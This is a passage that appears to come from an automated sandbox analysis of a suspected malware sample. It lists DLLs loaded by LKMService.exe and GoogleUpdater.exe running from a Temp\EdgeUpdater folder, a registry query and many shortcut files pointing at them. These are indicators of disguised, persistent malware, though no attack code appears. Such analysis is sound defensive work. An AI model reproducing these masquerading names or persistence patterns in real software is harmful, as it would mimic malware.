Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: ntshrui.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32

Jump to behavior

Source: LKMService_472749f636994be5bfcb24189b3266c5.lnk.0.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_62a9c111b7024bf1b7e3427143df5dbe.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_620a46450f79496ba4eff1761b5fc9f5.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_12f721a10ead40b1ae55ac94282a3417.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_b468a5a753b74bc88784ee58a23f7452.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_13ab457068c342afb09cdd1b1fab564b.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_99873ac9e6374501a7d41a5bd5c0fd01.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_3f3cf56c6562461aadeb1c83fa5ecd0e.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_dea9ababe47c4fed9cac73f27b471539.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9d459e8b7367496aa7d4137895062eab.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_6ab7ab4f25cd4db2b5e6cb0bcc44772f.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_f526512d48414187b35310aa42fee7db.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\GoogleUpdater.exe
Source: LKMService_114cb2fd114a4308b1d249db48cea183.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_5f854f00a78f4123bec07a2538a7dbef.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_f31747700de84b3a92dfed1987c441e3.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_16b570f0f5a744ad926af9b2e57a508a.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_619c5004471c4a2e938c1cf940f0681c.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9fdd6a820df34e0eb28e36d0925da6c6.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_217ab5a39a494a84a9c9b9f3d9267445.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_0041bb5e6a304e3ab1306a0efb97daf8.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_6ea984856cb5485087be0cf5fe4dd6e3.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_6bfc3d831634488eb95b5f6dc4e48e8a.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_c06a49c31e2542078c328f3120042026.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_89af2bd216d24a638611f396b3694166.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_e04c76b26907405f8b42d142ea72b766.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_2a9e24b71ad64e13a03132b58a8b4eab.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_f44d584e4b3948aa825fd2f68c303c08.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_2f9c2e9b402944f78763aeed507ed556.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_bf3d70f4207b43b4bc47b0d0a079ad33.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_a99a1993b439401f8f9f511e8b1cab25.lnk.1.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_09c0a750f11d494884999ce6371b08dc.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_df0c8781cbf24bb98a87ed8f61b85265.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_11d6fb0fd17b41be87fc848fec0a2b18.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_129c899e2a1c42be9a3e41a8dce953d5.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_cbebdd2c256b4831ad44ea21342751ad.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_22e5f086ff884c3b88899dd69f5e7c0e.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9fa69efc61d8406e9ae080ac03b2ddac.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_7f260e4f58884f45b068a139c48f5940.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_c6f25293ec71400f86d2e01a8de3f46c.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_eaca1c41ed604f6da9538b1fd6021e47.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_e05b7c485c4c49f6bf0093aaff493eff.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_77738e661f3246e584f8f20af07fcb93.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_27fadb4ee6b8480ca7125165a4d8a93f.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9107ab1018104d86afb2b29045417219.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_993bca652c984e3cb4f54ae35b7beba3.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_5b50692f0eb542fc82e477637a3c95e7.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_8f1575a7977249ee8142529527c6864d.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_c51579a471264286a0d2c75645c3353a.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_ce6d0bc2d0d94fdfb46a0759e7eb30c5.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_3caf0b3215974f25bbce13006a6e409f.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_e87ed31dd38847b9863b43efda133083.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_23d13120aeed491f8ae1f8e810449fbe.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_68c1135d3fad4aa09b4f4ad7ae1c7dc4.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_84ee45b1bccc4282b4866d9ebc85c5a7.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_dda1a20d76bd48cb838ceb893ee1a0a6.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9af8740e43af44ca9c5665f7d56f347a.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_cd7d446af3914ebfa3ac1a9d7e1db77a.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_b93973676d654650883a89137d148cc4.lnk.14.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_1719a5a28a504c3f8cfaf2bf69f48e5a.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_81fca9e9963945bc9a7493854f2e8af2.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_13d93427430c4866a3935999ad0995c5.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_d8fa50569dae47d69e7c5ff511c892d0.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_6d97a038d70f4468925fede4d9ead8ab.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_7af78047100249ada2a191b93972e1e4.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_ef0554e7e63746c2aa90a14599fe3c36.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_bf9ce0e7dfb04385bf933b54f7f8dcd2.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_da01d2306a8546388ad8c326f554e1cf.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_9e2a78212fe8413a986a763f0b5e8fba.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_93ca087eb9804602bcd2d31eb09648c5.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_493e11df656c4fb9b35808a9da5378e7.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_4a4e2ffe0af24c70af7bd986e036b820.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_a5265f5a68b342f2a3967949eb8a1dc0.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_fb67aed691754eceb4ae504dcc3e303c.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_1c59d7c5c608484bb0c3974b253504b8.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_880d55a39b684695a9f1b905ca28ee65.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_0a928f8bb10c4b24913a1e69cb92f473.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_93b05c4d627146df84959b78c065b170.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_1aa037cc08fd4a80b821b3bca1553c25.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_48e69eb5636c4f0496341c744955f7d8.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_1b84567656d54760af0052b6067e3308.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_cdaed61dc250465a90921d9a7c219828.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_1ea4621d390848b0a71a0c8dffe5156b.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_d8437af857764d59a5dbfc7828dd8470.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_90b3e32a008f42d1afff99ab33d59e72.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_4fdd3c21ead4408daf5823c744170210.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_ed7e14576ef74cdbb885f4240316373d.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_492ea8a68d4044e2835e2e1f3798803c.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
Source: LKMService_930f00d034644c5886641a2ab7b8e45e.lnk.15.dr	LNK file: ..\..\..\..\..\..\Local\Temp\EdgeUpdater\LKMService.exe
